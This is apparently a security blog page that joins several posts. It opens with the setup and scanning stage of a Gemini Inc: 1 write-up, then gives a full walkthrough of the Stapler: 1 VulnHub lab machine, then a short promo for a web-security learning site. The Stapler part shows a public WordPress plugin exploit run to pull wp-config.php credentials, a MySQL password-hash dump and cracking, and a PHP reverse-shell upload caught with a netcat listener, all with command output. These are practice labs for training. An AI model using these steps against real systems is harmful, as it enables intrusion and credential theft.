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Vulnerabilities

Login page running on port 80

Write-up for Gemini Inc: 1

This is a write-up on the Gemini Inc: 1, a VulnHub machine designed to be vulnerable. This write-up aims to guide readers through the steps to identifying vulnerable services running on the server and ways of exploiting them to gain unauthorised privileged access to the server.

Disclaimer: this write-up is meant for security enthusiast to set up and hacks the machine locally, in a safe environment while still having fun and get to practice. VulnHub provides users with many vulnerable machines for practice, similar to the ones in the OSCP course lab (read about my OSCP journey).

Word of Advice

As always, my advice for you is that you dirty your hands with the setup and try to hack the machines first before reading through my write-up, that way, you will be able to maximise your learning and be able to enhance your thought process towards hacking and compromising a vulnerable machine.

Setting Up

  1. Download the Virtual Machine (VM) from VulnHub (link)
  2. Start the VM and select “I copied it” and it should start smoothly. Note that the machine was preconfigured to obtain an IP address automatically using DHCP so that is no additional configuration required.
  3. Please note that for this write-up, I have explicitly switched my “Network Adaptor” options to “NAT”. You may choose to also do so or remain with the default settings (Bridge), it should not differ much in terms of the steps in the write-up.

Host discovery

Use netdiscover to identify the hosts in my network:

netdiscover -r 192.168.117.0/24
The output from running netdiscover
The output from running netdiscover

As shown in the screenshot, it was pretty straight-forward that my target machine is located at the IP address of 192.168.117.159.

Service discovery

Use nmap to identify the list of services running on the target machine:

nmap -sS -Pn -T4 -p- 192.168.117.159
The output from running nmap on all ports
The output from running nmap on all ports

As shown, only port 22 and 80 were identified to be running.

Now, use the nmap scripts to perform further information gathering:

nmap -O -A -Pn -T4 -p22,80 192.168.117.159

The following information was obtained:

PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.4p1 Debian 10+deb9u2 (protocol 2.0)
| ssh-hostkey:
| 2048 e9:e3:89:b6:3b:ea:e4:13:c8:ac:38:44:d6:ea:c0:e4 (RSA)
| 256 8c:19:77:fd:36:72:7e:34:46:c4:29:2d:2a:ac:15:98 (ECDSA)
|_ 256 cc:2b:4c:ce:d7:61:73:d7:d8:7e:24:56:74:54:99:88 (EdDSA)
80/tcp open http Apache httpd 2.4.25
| http-ls: Volume /
| SIZE TIME FILENAME
| - 2018-01-07 08:35 test2/
|_
|_http-server-header: Apache/2.4.25 (Debian)
|_http-title: Index of /
MAC Address: 00:0C:29:05:4A:83 (VMware)

From the information, it was already possible to determine that very likely, port 80 is the entry point to compromising the machine. But as security folks, we do not assume. Now, let’s move on to see if we can compromise the machine.

Keep Reading

Write-up for Stapler: 1 – A Different Path

featured-stapler

This post is an addendum to my recent article on the Write-up for Stapler: 1. In the original post, I gained a low privilege shell using credentials which I obtained through SMB enumeration.

Remember I mentioned that I have not looked into port 3306 and 12380 yet and will look into them when I have some time? And I did — over the last weekend 🙂

Once again, the short intro: Stapler: 1 is a vulnerable machine created by g0tmi1k and downloadable for free on VulnHub. It is a very good practice machine if you are pursuing the OSCP certification. (read about my OSCP journey).

Enumeration on port 3306

The following was discovered through the initial nmap scan:

3306/tcp  open  mysql       MySQL 5.7.12-0ubuntu1

Let’s try to connect to the service using netcat:

nc 192.168.117.136 3306
S
5.7.12-0ubuntu1
                -![j’&���IQ0!Xn^IWemysql_native_password

It looks weird though. Let’s leave it at where it is for now.

Enumeration on port 12380

This could potentially be one of the most interesting lead on the list since it is a custom HTTP server hosted on a non-common port.

12380/tcp open  http        Apache httpd 2.4.18 ((Ubuntu))

stapler-http-01.png

This is pretty interesting. Since the website is currently still unfinished, it should have left some bad implementation somewhere.

Checked the page source, nothing interesting except for the message that mentioned the name of the HR person, Zoe:

<!– A message from the head of our HR department, Zoe, if you are looking at this, we want to hire you! –>

Since I already got all the potential usernames through SMB service, this piece of name is as useful, but definitely, note it down and move on.

Let’s run dirb on this web application:

—————–
DIRB v2.22
By The Dark Raver
—————–
START_TIME: Sun Dec 17 18:12:10 2017
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt
—————–
GENERATED WORDS: 4612
—- Scanning URL: http://192.168.117.136:12380/ —-
—————–
END_TIME: Sun Dec 17 18:14:27 2017
DOWNLOADED: 4612 – FOUND: 0

Surprisingly, there was nothing found.

Now, let’s run nikto on it as well:

<REDACTED>
+ The site uses SSL and the Strict-Transport-Security HTTP header is not defined.
+ Entry ‘/admin112233/’ in robots.txt returned a non-forbidden or redirect HTTP code (200)
+ Entry ‘/blogblog/’ in robots.txt returned a non-forbidden or redirect HTTP code (200)
+ “robots.txt” contains 2 entries which should be manually viewed.
+ Hostname ‘192.168.117.136’ does not match certificate’s names: Red.Initech
+ OSVDB-3233: /icons/README: Apache default file found.
+ /phpmyadmin/: phpMyAdmin directory found
<REDACTED>

Looks like we found something interesting now 🙂

stapler-nikto.png

The scan result is very useful. Now it is time to manually verify these sites:

  • /admin112233
  • /blogblog
  • /phpmyadmin

Note: we need to visit these websites via HTTPS protocol, or you will get redirected and will not be able to see the content 🙂

​​​robots.txt is showing some interesting results! —  https://192.168.117.136:12380/robots.txt

stapler-https-1

PhpMyAdmin login console is exposed! — https://192.168.117.136:12380/phpmyadmin/

stapler-https-2

So, apparently /admin112233 is meant to educate people and let them know about the possibility of being lured into a honeypot (such as this page) and get “hacked back” in return. Nice one! — https://192.168.117.136:12380/admin112233/

stapler-https-3

WordPress blog! This definitely the one which we saw earlier in the SMB share drive’s backup folder — https://192.168.117.136:12380/blogblog/

stapler-https-4

After checking out the blog posts and taking the hints, let’s run wpscan to check out the installed plugins:

wpscan –url https://192.168.117.136:12380/blogblog/ –disable-tls-checks
_______________________________________________________________
        __          _______   _____
        \ \        / /  __ \ / ____|
         \ \  /\  / /| |__) | (___   ___  __ _ _ __ ®
          \ \/  \/ / |  ___/ \___ \ / __|/ _` | ‘_ \
           \  /\  /  | |     ____) | (__| (_| | | | |
            \/  \/   |_|    |_____/ \___|\__,_|_| |_|
        WordPress Security Scanner by the WPScan Team
                       Version 2.9.2
          Sponsored by Sucuri – https://sucuri.net
   @_WPScan_, @ethicalhack3r, @erwan_lr, pvdl, @_FireFart_
_______________________________________________________________
[+] Started: Sun Dec 17 18:36:58 2017
[!] The WordPress ‘https://192.168.117.136:12380/blogblog/readme.html’; file exists exposing a version number
[+] Interesting header: DAVE: Soemthing doesn’t look right here
[+] Interesting header: SERVER: Apache/2.4.18 (Ubuntu)
[+] XML-RPC Interface available under: https://192.168.117.136:12380/blogblog/xmlrpc.php
[!] Upload directory has directory listing enabled: https://192.168.117.136:12380/blogblog/wp-content/uploads/
[!] Includes directory has directory listing enabled: https://192.168.117.136:12380/blogblog/wp-includes/
[+] WordPress version 4.2.1 (Released on 2015-04-27) identified from advanced fingerprinting, meta generator, readme, links opml, stylesheets numbers
[!] 49 vulnerabilities identified from the version number
[!] Title: WordPress 4.1-4.2.1 – Unauthenticated Genericons Cross-Site Scripting (XSS)
[i] Fixed in: 4.2.2
[!] Title: WordPress <= 4.2.2 – Authenticated Stored Cross-Site Scripting (XSS)
[i] Fixed in: 4.2.3
[!] Title: WordPress <= 4.2.3 – wp_untrash_post_comments SQL Injection
[i] Fixed in: 4.2.4
[!] Title: WordPress <= 4.2.3 – Timing Side Channel Attack
[i] Fixed in: 4.2.4
[!] Title: WordPress <= 4.2.3 – Widgets Title Cross-Site Scripting (XSS)
[i] Fixed in: 4.2.4
[!] Title: WordPress <= 4.2.3 – Nav Menu Title Cross-Site Scripting (XSS)
[i] Fixed in: 4.2.4
[!] Title: WordPress <= 4.2.3 – Legacy Theme Preview Cross-Site Scripting (XSS)
[i] Fixed in: 4.2.4
[!] Title: WordPress <= 4.3 – Authenticated Shortcode Tags Cross-Site Scripting (XSS)
[i] Fixed in: 4.2.5
[!] Title: WordPress <= 4.3 – User List Table Cross-Site Scripting (XSS)
[i] Fixed in: 4.2.5
[!] Title: WordPress <= 4.3 – Publish Post & Mark as Sticky Permission Issue
[i] Fixed in: 4.2.5
[!] Title: WordPress  3.7-4.4 – Authenticated Cross-Site Scripting (XSS)
[i] Fixed in: 4.2.6
[!] Title: WordPress 3.7-4.4.1 – Local URIs Server Side Request Forgery (SSRF)
[i] Fixed in: 4.2.7
[!] Title: WordPress 3.7-4.4.1 – Open Redirect
[i] Fixed in: 4.2.7
[!] Title: WordPress <= 4.4.2 – SSRF Bypass using Octal & Hexedecimal IP addresses
[i] Fixed in: 4.5
[!] Title: WordPress <= 4.4.2 – Reflected XSS in Network Settings
[i] Fixed in: 4.5
[!] Title: WordPress <= 4.4.2 – Script Compression Option CSRF
[i] Fixed in: 4.5
[!] Title: WordPress 4.2-4.5.1 – MediaElement.js Reflected Cross-Site Scripting (XSS)
[i] Fixed in: 4.5.2
[!] Title: WordPress <= 4.5.1 – Pupload Same Origin Method Execution (SOME)
[i] Fixed in: 4.2.8
[!] Title: WordPress 4.2-4.5.2 – Authenticated Attachment Name Stored XSS
[i] Fixed in: 4.2.9
[!] Title: WordPress 3.6-4.5.2 – Authenticated Revision History Information Disclosure
[i] Fixed in: 4.2.9
[!] Title: WordPress 2.6.0-4.5.2 – Unauthorized Category Removal from Post
[i] Fixed in: 4.2.9
[!] Title: WordPress 2.5-4.6 – Authenticated Stored Cross-Site Scripting via Image Filename
[i] Fixed in: 4.2.10
[!] Title: WordPress 2.8-4.6 – Path Traversal in Upgrade Package Uploader
[i] Fixed in: 4.2.10
[!] Title: WordPress 2.9-4.7 – Authenticated Cross-Site scripting (XSS) in update-core.php
[i] Fixed in: 4.2.11
[!] Title: WordPress 3.4-4.7 – Stored Cross-Site Scripting (XSS) via Theme Name fallback
[i] Fixed in: 4.2.11
[!] Title: WordPress <= 4.7 – Post via Email Checks mail.example.com by Default
[i] Fixed in: 4.2.11
[!] Title: WordPress 2.8-4.7 – Accessibility Mode Cross-Site Request Forgery (CSRF)
[i] Fixed in: 4.2.11
[!] Title: WordPress 3.0-4.7 – Cryptographically Weak Pseudo-Random Number Generator (PRNG)
[i] Fixed in: 4.2.11
[!] Title: WordPress 4.2.0-4.7.1 – Press This UI Available to Unauthorised Users
[i] Fixed in: 4.2.12
[!] Title: WordPress 3.5-4.7.1 – WP_Query SQL Injection
[i] Fixed in: 4.2.12
[!] Title: WordPress 3.6.0-4.7.2 – Authenticated Cross-Site Scripting (XSS) via Media File Metadata
[i] Fixed in: 4.2.13
[!] Title: WordPress 2.8.1-4.7.2 – Control Characters in Redirect URL Validation
[i] Fixed in: 4.2.13
[!] Title: WordPress  4.0-4.7.2 – Authenticated Stored Cross-Site Scripting (XSS) in YouTube URL Embeds
[i] Fixed in: 4.2.13
[!] Title: WordPress 4.2-4.7.2 – Press This CSRF DoS
[i] Fixed in: 4.2.13
[!] Title: WordPress 2.3-4.8.3 – Host Header Injection in Password Reset
[!] Title: WordPress 2.7.0-4.7.4 – Insufficient Redirect Validation
[i] Fixed in: 4.2.15
[!] Title: WordPress 2.5.0-4.7.4 – Post Meta Data Values Improper Handling in XML-RPC
[i] Fixed in: 4.2.15
[!] Title: WordPress 3.4.0-4.7.4 – XML-RPC Post Meta Data Lack of Capability Checks
[i] Fixed in: 4.2.15
[!] Title: WordPress 2.5.0-4.7.4 – Filesystem Credentials Dialog CSRF
[i] Fixed in: 4.2.15
[!] Title: WordPress 3.3-4.7.4 – Large File Upload Error XSS
[i] Fixed in: 4.2.15
[!] Title: WordPress 3.4.0-4.7.4 – Customizer XSS & CSRF
[i] Fixed in: 4.2.15
[!] Title: WordPress 2.3.0-4.8.1 – $wpdb->prepare() potential SQL Injection
[i] Fixed in: 4.2.16
[!] Title: WordPress 2.3.0-4.7.4 – Authenticated SQL injection
[i] Fixed in: 4.7.5
[!] Title: WordPress 2.9.2-4.8.1 – Open Redirect
[i] Fixed in: 4.2.16
[!] Title: WordPress 3.0-4.8.1 – Path Traversal in Unzipping
[i] Fixed in: 4.2.16
[!] Title: WordPress <= 4.8.2 – $wpdb->prepare() Weakness
[i] Fixed in: 4.2.17
[!] Title: WordPress 2.8.6-4.9 – Authenticated JavaScript File Upload
[i] Fixed in: 4.2.18
[!] Title: WordPress 1.5.0-4.9 – RSS and Atom Feed Escaping
[i] Fixed in: 4.2.18
[!] Title: WordPress 3.7-4.9 – ‘newbloguser’ Key Weak Hashing
[i] Fixed in: 4.2.18
[+] WordPress theme in use: bhost – v1.2.9
[+] Name: bhost – v1.2.9
[!] The version is out of date, the latest version is 1.3.9
|  Theme Name: BHost
|  Theme URI: Author: Masum Billah
|  Description: Bhost is a nice , clean , beautifull, Responsive and modern design free WordPress Theme. This the…
|  Author: Masum Billah
|  Author URI: http://getmasum.net/
[+] Enumerating plugins from passive detection …
[+] No plugins found

Noticed anything strange? Yes, while there were 49 vulnerabilities identified in total, the output says “No plugins found”. How is that possible? The blog posts already stated that they have installed some new plugins!

Truth to be told, this is the ideal example of what it means when people tell you not to blindly rely on tools.

Let’s specifically run only the plugins enumeration function:

wpscan –url https://192.168.117.136:12380/blogblog/ –disable-tls-checks –enumerate p
<REDACTED>
[+] Enumerating installed plugins (only ones marked as popular) …
   Time: 00:00:06 <=========================> (1411 / 1411) 100.00% Time: 00:00:06
[+] We found 2 plugins:
[+] Name: akismet
|  Latest version: 4.0.1
[!] We could not determine a version so all vulnerabilities are printed out
[!] Title: Akismet 2.5.0-3.1.4 – Unauthenticated Stored Cross-Site Scripting (XSS)
[i] Fixed in: 3.1.5
[+] Name: shortcode-ui – v0.6.2
[!] The version is out of date, the latest version is 0.7.3

2 plugins found! This looks much better. What about users?

wpscan –url https://192.168.117.136:12380/blogblog/ –disable-tls-checks –enumerate u
[+] Enumerating usernames …
[+] Identified the following 10 user/s:
    +—-+———+—————–+
    | Id | Login   | Name            |
    +—-+———+—————–+
    | 1  | john    | John Smith      |
    | 2  | elly    | Elly Jones      |
    | 3  | peter   | Peter Parker    |
    | 4  | barry   | Barry Atkins    |
    | 5  | heather | Heather Neville |
    | 6  | garry   | garry           |
    | 7  | harry   | harry           |
    | 8  | scott   | scott           |
    | 9  | kathy   | kathy           |
    | 10 | tim     | tim             |
    +—-+———+—————–+

A better visualisation of the table:

stapler-wp.png

Use the following command to do a very thorough plugin scan – it may take some time — it took me around 12 minutes to finish the scan. But the result is worth the wait!

wpscan –url https://192.168.117.136:12380/blogblog/ –disable-tls-checks –enumerate ap
[+] Enumerating all plugins (may take a while and use a lot of system resources) …
   Time: 00:11:58 <=======================> (71551 / 71551) 100.00% Time: 00:11:58
[+] We found 4 plugins:
[+] Name: advanced-video-embed-embed-videos-or-playlists – v1.0
|  Latest version: 1.0 (up to date)
[+] Name: akismet
|  Latest version: 4.0.1
[!] We could not determine a version so all vulnerabilities are printed out
[!] Title: Akismet 2.5.0-3.1.4 – Unauthenticated Stored Cross-Site Scripting (XSS)
[i] Fixed in: 3.1.5
[+] Name: shortcode-ui – v0.6.2
[!] The version is out of date, the latest version is 0.7.3
[+] Name: two-factor
|  Latest version: 0.1-dev-20171206

Nice, there were 4 vulnerable plugins found!

Now, we check whether there is any public exploit available on exploit-db.com

stapler-exploitdb.png

Great! Next, we copy the file to our local directory for analysis.

cp /usr/share/exploitdb/platforms/php/webapps/39646.py .
ls -l 39646.py
-rwxr-xr-x 1 root root 1772 May 14 22:58 39646.py

After a quick look at the exploit, it is clear that it will basically print the content of wp-config.php, which is the default configuration file of WordPress).

Not many modification were required, just insert the correct URL:

url = “https://192.168.117.136:12380/blogblog/” # insert url to wordpress

However, running the exploit would run into error:

python 39646.py
Traceback (most recent call last):
  File “39646.py”, line 41, in <module>
    objHtml = urllib2.urlopen(url + ‘/wp-admin/admin-ajax.php?action=ave_publishPost&title=’ + str(randomID) + ‘&short=rnd&term=rnd&thumb=../wp-config.php’)
  File “/usr/lib/python2.7/urllib2.py”, line 154, in urlopen
    return opener.open(url, data, timeout)
  File “/usr/lib/python2.7/urllib2.py”, line 429, in open
    response = self._open(req, data)
  File “/usr/lib/python2.7/urllib2.py”, line 447, in _open
    ‘_open’, req)
  File “/usr/lib/python2.7/urllib2.py”, line 407, in _call_chain
    result = func(*args)
  File “/usr/lib/python2.7/urllib2.py”, line 1241, in https_open
    context=self._context)
  File “/usr/lib/python2.7/urllib2.py”, line 1198, in do_open
    raise URLError(err)
urllib2.URLError: <urlopen error [SSL: CERTIFICATE_VERIFY_FAILED] certificate verify failed (_ssl.c:590)>

After some quick research, I have managed to find a simple patch to this issue on a Stack Overflow thread: http://stackoverflow.com/questions/27835619/ssl-certificate-verify-failed-error

Simply make a small modification to add the following:

import ssl
ssl._create_default_https_context = ssl._create_unverified_context

The following is the full modified exploit that you can run, just need to replace your own WordPress instance on line 40:

https://gist.github.com/kongwenbin/8e89f553641bd76b1ee4bb93460fbb2c

Let’s run the exploit again:

python 39646.py
wget –no-check-certificate https://192.168.117.136:12380/blogblog/wp-content/uploads/1527501269.jpeg
–2017-05-14 23:18:38–  https://192.168.117.136:12380/blogblog/wp-content/uploads/1527501269.jpeg
Connecting to 192.168.1.30:12380… connected.
WARNING: The certificate of ‘192.168.1.30’ is not trusted.
WARNING: The certificate of ‘192.168.1.30’ hasn’t got a known issuer.
The certificate’s owner does not match hostname ‘192.168.1.30’
HTTP request sent, awaiting response… 200 OK
Length: 3042 (3.0K) [image/jpeg]
Saving to: ‘1527501269.jpeg’
1527501269.jpeg                                   100%[============================================================================================================>]   2.97K  –.-KB/s    in 0s
2017-05-14 23:18:38 (78.4 MB/s) – ‘1527501269.jpeg’ saved [3042/3042]
Now, we check the JPG file that we have downloaded using the exploit:
ls -la 1527501269.jpeg
-rw-r–r– 1 root root 3042 May 14 23:15 1527501269.jpeg

Now we check the type of the JPG file using file:

file 1527501269.jpeg
1527501269.jpeg: PHP script, ASCII text

PHP script! Cool. Now we read its content:

cat 1527501269.jpeg
<?php
/**
* The base configurations of the WordPress.
*
* This file has the following configurations: MySQL settings, Table Prefix,
* Secret Keys, and ABSPATH. You can find more information by visiting
* Codex page. You can get the MySQL settings from your web host.
*
* This file is used by the wp-config.php creation script during the
* installation. You don’t have to use the web site, you can just copy this file
* to “wp-config.php” and fill in the values.
*
* @package WordPress
*/
// ** MySQL settings – You can get this info from your web host ** //
/** The name of the database for WordPress */
define(‘DB_NAME’, ‘wordpress’);
/** MySQL database username */
define(‘DB_USER’, ‘root’);
/** MySQL database password */
define(‘DB_PASSWORD’, ‘plbkac’);
/** MySQL hostname */
define(‘DB_HOST’, ‘localhost’);
/** Database Charset to use in creating database tables. */
define(‘DB_CHARSET’, ‘utf8mb4’);
/** The Database Collate type. Don’t change this if in doubt. */
define(‘DB_COLLATE’, ”);
/**#@+
* Authentication Unique Keys and Salts.
*
* Change these to different unique phrases!
* You can generate these using the {@link https://api.wordpress.org/secret-key/1.1/salt/WordPress.org secret-key service}
* You can change these at any point in time to invalidate all existing cookies. This will force all users to have to log in again.
*
* @since 2.6.0
*/
define(‘AUTH_KEY’,         ‘V 5p=[.Vds8~SX;>t)++Tt57U6{Xe`T|oW^eQ!mHr }]>9RX07W<sZ,I~`6Y5-T:’);
define(‘SECURE_AUTH_KEY’,  ‘vJZq=p.Ug,]:<-P#A|k-+:;JzV8*pZ|K/U*J][Nyvs+}&!/#>4#K7eFP5-av`n)2’);
define(‘LOGGED_IN_KEY’,    ‘ql-Vfg[?v6{ZR*+O)|Hf OpPWYfKX0Jmpl8zU<cr.wm?|jqZH:YMv;[email protected]:4o’);
define(‘NONCE_KEY’,        ‘j|V8J.~n}R2,mlU%?C8o2[~6Vo1{Gt+4mykbYH;HDAIj9TE?QQI!VW]]D`3i73xO’);
define(‘AUTH_SALT’,        ‘I{gDlDs`[email protected]+/AdyzYw4%+<WsO-LDBHT}>}!||[email protected]={p1?yMKYec*OI$’);
define(‘SECURE_AUTH_SALT’, ‘.HJmx^zb];5P}hM-uJ%^+9=0SBQEh[[*>#z+p>nVi10`XOUq (Zml~op3SG4OG_D’);
define(‘LOGGED_IN_SALT’,   ‘[Zz!)%R7/w37+:9L#.=hL:cyeMM2kTx&_nP4{D}n=y=FQt%zJw>c[a+;ppCzIkt;’);
define(‘NONCE_SALT’,       ‘tb(}BfgB7l!rhDVm{eK6^MSN-|o]S]]axl4TE_y+Fi5I-RxN/9xeTsK]#ga_9:hJ’);
/**#@-*/
/**
* WordPress Database Table prefix.
*
* You can have multiple installations in one database if you give each a unique
* prefix. Only numbers, letters, and underscores please!
*/
$table_prefix  = ‘wp_’;
/**
* For developers: WordPress debugging mode.
*
* Change this to true to enable the display of notices during development.
* It is strongly recommended that plugin and theme developers use WP_DEBUG
* in their development environments.
*/
define(‘WP_DEBUG’, false);
/* That’s all, stop editing! Happy blogging. */
/** Absolute path to the WordPress directory. */
if ( !defined(‘ABSPATH’) )
define(‘ABSPATH’, dirname(__FILE__) . ‘/’);
/** Sets up WordPress vars and included files. */
require_once(ABSPATH . ‘wp-settings.php’);
define(‘WP_HTTP_BLOCK_EXTERNAL’, true);

Now we have the credentials for MySQL!

mysql -uroot -pplbkac -h 192.168.117.136:12380
Warning: Using a password on the command line interface can be insecure.
Welcome to the MySQL monitor.  Commands end with ; or \g.
Your MySQL connection id is 48
Server version: 5.7.12-0ubuntu1 (Ubuntu)
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Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
owners.
Type ‘help;’ or ‘\h’ for help. Type ‘\c’ to clear the current input statement.
mysql> show databases;
+——————–+
| Database           |
+——————–+
| information_schema |
| loot               |
| mysql              |
| performance_schema |
| phpmyadmin         |
| proof              |
| sys                |
| wordpress          |
+——————–+
8 rows in set (0.01 sec)
mysql> use wordpress;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A
Database changed
mysql> show tables;
+———————–+
| Tables_in_wordpress   |
+———————–+
| wp_commentmeta        |
| wp_comments           |
| wp_links              |
| wp_options            |
| wp_postmeta           |
| wp_posts              |
| wp_term_relationships |
| wp_term_taxonomy      |
| wp_terms              |
| wp_usermeta           |
| wp_users              |
+———————–+
11 rows in set (0.00 sec)

Check out the wp-users table:

Now we check the list of users stored in this table:

mysql> select user_login,user_pass from wp_users;
+————+————————————+
| user_login | user_pass                          |
+————+————————————+
| John       | $P$B7889EMq/erHIuZapMB8GEizebcIy9. |
| Elly       | $P$BlumbJRRBit7y50Y17.UPJ/xEgv4my0 |
| Peter      | $P$BTzoYuAFiBA5ixX2njL0XcLzu67sGD0 |
| barry      | $P$BIp1ND3G70AnRAkRY41vpVypsTfZhk0 |
| heather    | $P$Bwd0VpK8hX4aN.rZ14WDdhEIGeJgf10 |
| garry      | $P$BzjfKAHd6N4cHKiugLX.4aLes8PxnZ1 |
| harry      | $P$BqV.SQ6OtKhVV7k7h1wqESkMh41buR0 |
| scott      | $P$BFmSPiDX1fChKRsytp1yp8Jo7RdHeI1 |
| kathy      | $P$BZlxAMnC6ON.PYaurLGrhfBi6TjtcA0 |
| tim        | $P$BXDR7dLIJczwfuExJdpQqRsNf.9ueN0 |
| ZOE        | $P$B.gMMKRP11QOdT5m1s9mstAUEDjagu1 |
| Dave       | $P$Bl7/V9Lqvu37jJT.6t4KWmY.v907Hy. |
| Simon      | $P$BLxdiNNRP008kOQ.jE44CjSK/7tEcz0 |
| Abby       | $P$ByZg5mTBpKiLZ5KxhhRe/uqR.48ofs. |
| Vicki      | $P$B85lqQ1Wwl2SqcPOuKDvxaSwodTY131 |
| Pam        | $P$BuLagypsIJdEuzMkf20XyS5bRm00dQ0 |
+————+————————————+
16 rows in set (0.00 sec)
mysql> exit
Bye

Great, now we have a list of password hashes! Next is to crack the password using john:

john –show hashes.txt
John:incorrect
Elly:ylle
barry:washere
heather:passphrase
garry:football
harry:monkey
scott:cookie
kathy:coolgirl
tim:thumb
ZOE:partyqueen
Pam:0520
11 password hashes cracked, 5 left

In this case, there is no need to wait for all the password hashes to be cracked because if you understand a WordPressapplication, usually the very first record in the user table is the admin account. In this case, the first record is John and we already have his password: incorrect

Using the following credentials, I was able to login to the WordPress application as an admin user:

username: john
password: incorrect

Next, go to Plugins and upload a Web Shell, such as the very famous Pentestmonkey’s PHP reverse shell which is also available on your Kali Linux machine by default at /usr/share/webshells/php/php-reverse-shell.php

Modify the ip and port parameters on line 49 and 50 and you are good to go.

Save it as reverse.php and upload it as a new Plugin.

Now, set up a netcat listener on the local port 4444 to catch the reverse shell from the Stapler machine.

nc -nlvp 4444
listening on [any] 4444 …

Now, visit https://192.168.117.136:12380/blogblog/wp-content/uploads/reverse.php to trigger the reverse shell connection.

Observe the changes below on your host machine:

nc -lvnp 4444
listening on [any] 443 …
connect to [192.168.117.149] from (UNKNOWN) [192.168.117.136] 36962
Linux red.initech 4.4.0-21-generic #37-Ubuntu SMP Mon Apr 18 18:34:49 UTC 2016 i686 i686 i686 GNU/Linux 16:08:13 up 1 day,  1:59,  0 users,  load average: 0.00, 0.01, 0.05
USER     TTY      FROM             [email protected]   IDLE   JCPU   PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)/bin/sh: 0: can’t access tty; job control turned off
$ pwd
/
$ uname -a
Linux red.initech 4.4.0-21-generic #37-Ubuntu SMP Mon Apr 18 18:34:49 UTC 2016 i686 i686 i686 GNU/Linux

With this, we have successfully gained entry using an alternative path of gaining low privilege shell through exploiting a vulnerable WordPress plugin to obtain its configuration file, obtained the SQL credentials to dump user password hashes, gain access to WordPress admin user account and uploaded a reverse shell.

I hope you enjoyed reading this write-up.


If you like this post, please check out my other similar write-ups as well:

Hacksplaining: Learn to Hack

Hacksplaining: Learn to Hack

Hacksplaining is one of the best website that I have seen so far in terms of the way it teaches people about web vulnerabilities. It uses a very simple and fun way of teaching people about the concepts and theory of web vulnerabilities. To make the deal even better, it is free. I don’t know who are the folks behind this website, but I really like how they make education seems so fun. Kudos to them for the amount of time they have invested in coming out with all those examples and exercises, and etc.

Also, I really like their tagline,

“learn to hack, learn to protect yourself”

Hacksplaining: Learn to Hack
Hacksplaining: Learn to Hack

 

I fully agree with it, just like when you play sports, you need to know the rules and the various techniques and tactics that can be deployed during an attack, before you are able to effectively defend against them. Same concept applies here, if you don’t understand cross site scripting or SQL injection, how are you supposed to ensure that your web application is protected against them?

The following are the list of techniques that you can learn through Hacksplaining‘s interactive way of teaching you web vulnerabilities,

  1. SQL Injection
  2. Clickjacking
  3. Session Fixation
  4. Cross-Site Scripting
  5. Weak Session IDs
  6. Reflected XSS
  7. Dom-Based XSS
  8. Cross-Site Request Forgery
  9. File Upload Vulnerability
  10. XML Bombs
  11. Open Directs
  12. User Enumeration
  13. Broken Access Control
  14. Unencrypted Communication
  15. XML External Entities
  16. Information Leakage
  17. Password Mismanagement
  18. Privilege Escalation
  19.  Command Execution
  20. Directory Traversal
Hacksplaining: Learn to Hack
Hacksplaining: Learn to Hack

Check it out: Hacksplaining: Learn to Hack